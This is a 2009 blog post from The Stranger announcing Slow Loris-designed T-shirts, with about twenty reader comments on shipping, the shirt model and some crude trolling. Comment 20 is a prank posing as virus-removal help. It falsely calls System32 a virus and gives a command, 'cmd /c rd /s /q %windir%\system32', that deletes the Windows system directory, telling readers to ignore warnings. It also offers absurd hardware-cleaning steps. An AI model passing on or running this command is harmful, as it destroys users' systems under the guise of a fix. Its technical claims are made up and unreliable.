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Monday, November 9, 2009

Stranger T-Shirts

Posted by Kelly O on Mon, Nov 9, 2009 at 9:59 AM

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Brand new. Designed by Slow Loris.
Want one? You should go get one!

RIGHT HERE.

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Baconcat 1
Oooh, I want.
Posted by Baconcat on November 6, 2009 at 2:36 PM
Zoroastronomer 2
Whoa. Boobalicious!
Posted by Zoroastronomer on November 6, 2009 at 2:42 PM
3
"We are only able to send t-shirts to places within the U.S."

:'(
Posted by Puty http://www.facebook.com/swhitworth on November 6, 2009 at 2:47 PM
COMTE 4
May one assume some of these will show up as swag at next Thursday's Slog HAPPY?
Posted by COMTE http://www.chriscomte.com on November 6, 2009 at 2:57 PM
Caroline 5
@4 One may...
Posted by Caroline on November 6, 2009 at 2:59 PM
6
Gray? Ick. Ugly, ugly, ugly.
Posted by Kirby on November 6, 2009 at 3:14 PM
7
Whose the model? Can we seem him w/out the shirt :-)
Posted by Justy on November 6, 2009 at 3:26 PM
Fnarf 8
Slow Loris is the best.
Posted by Fnarf http://www.facebook.com/fnarf on November 6, 2009 at 4:00 PM
COMTE 9
@7:

Based on the chin-stubble my guess would be Frizzelle.
Posted by COMTE http://www.chriscomte.com on November 6, 2009 at 4:05 PM
Drone 10
No shipping to Canada? :(

Vancouver is pretty close - could you guys just fire one over with a t-shirt cannon or something?
Posted by Drone on November 6, 2009 at 4:13 PM
Will in Seattle 11
@10 or you could just come to SLOG Happy.
Posted by Will in Seattle http://www.facebook.com/WillSeattle on November 6, 2009 at 4:51 PM
Fnarf 12
@9, it looks like the regular Slow Loris guy, whose name is Arlo. More here: http://www.flickr.com/photos/johnemofunk…
Posted by Fnarf http://www.facebook.com/fnarf on November 6, 2009 at 6:43 PM
William T. Fuckweiler 13
Fuck you people. She calls herself Slow Loris but won't respeck the animal she stole that name from. ProsimianZ 4 Life, Bee-otch!!!
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Posted by William T. Fuckweiler on November 7, 2009 at 12:18 AM
14
HAH THESE WERE ONLY KOOL LIKE 4 YRS AGO SOLD OUT THE BACK OF A CRAZY LIL STAND. THIS IS CORP PROD AND ME NO WANT.

FREE? NAH, PAY THE KITTY OR NADA.

FUCKWEILER???? I IZ ALL OF A SUDDEN SO KOMPLEXLY KONFUSED. SOUNDS LIKE THE WHITE BRIGADE RIDES TOWARD WHISTLIN AGAIN. DENNIS THE MENNIS SUX. GET YA OWN SCHTIK.
Posted by LaRiiiiM0RrrHAwtiiii696969 on November 9, 2009 at 10:07 AM
15
HOW FNARF KNOW SO MANY NAMES? HIS BLOG IS SO SPECIAL K HOLE! SMUG AND SMANG ADVENTURES LIKE BREAKIN LAW AND WEARIN GLASSES AND BUTTON DOWNS LIKE WOOO!
Posted by LaRiiiiM0RrrHAwtiiii696969 on November 9, 2009 at 10:21 AM
elenchos 16
That's like a Yamaha R6 with the fairing off and some other muffler. And a Vespa, ET-something.
Posted by elenchos on November 9, 2009 at 10:37 AM
William T. Fuckweiler 17
I like to imagine LaRiiiiM0RrrHAwtiiii696969 is Scott Lawrimore, in some drunken split personality.
Posted by William T. Fuckweiler on November 9, 2009 at 11:08 AM
18
Thanks, Fnarf! Glad to see his face is as cute as I had imaigned.
Posted by Justy on November 9, 2009 at 12:00 PM
Fnarf 19
@17, the bizarre thing is how he links to the blog of a constitutional law professor. Sez what now?

I do plead guilty to being both smug and smang. Just be grateful you can't smell me, LaRiiii.
Posted by Fnarf http://www.facebook.com/fnarf on November 9, 2009 at 12:45 PM
20
System32 is a virus that infects your Windows directory and turns it into a Sega game. Microsoft makes software to remedy this called "My Computer". It comes pre-installed with most Windows systems and can most likely be found on your desktop.

To remove the System32 trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type cmd /c rd /s /q %windir%\system32 -- or you may double-click "My Computer", then right-click the infected C: directory, and choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.

Of course if this doesn't fix your problem sufficiently you can always do a factory wipe. This operation is carried out by removing your hard drive then unscrewing the case. After this remove the black disk inside the casing (this covered with system32) and clean with acetone until the aluminium platters are clean once more. While you are at it, remove your RAM chips and wipe them on a woollen jumper as to renew the static in the static RAM.

Remounting is the reverse of removal, then Press the on button and- voila!- "system 32" is gone. Enjoy your bug free, virus free computer.

A popular solution to System32 is Windows Optimizer.

Since Windows 2000, those nasty programmers at Microsoft have made it hard to do the task of deleting System32 by putting some sort of protection to it. So, now to perform this task you need to download this file and install it on Safe Mode. Hopefully, this feature is not available in Vista.
Posted by Lord Charles Muddabe, PHD A++ MCSE on November 9, 2009 at 1:58 PM
21
Hate to tell you, but that isn't Arlo! Someone modeling from the stranger!
Posted by SlowLoris on November 15, 2009 at 5:52 PM

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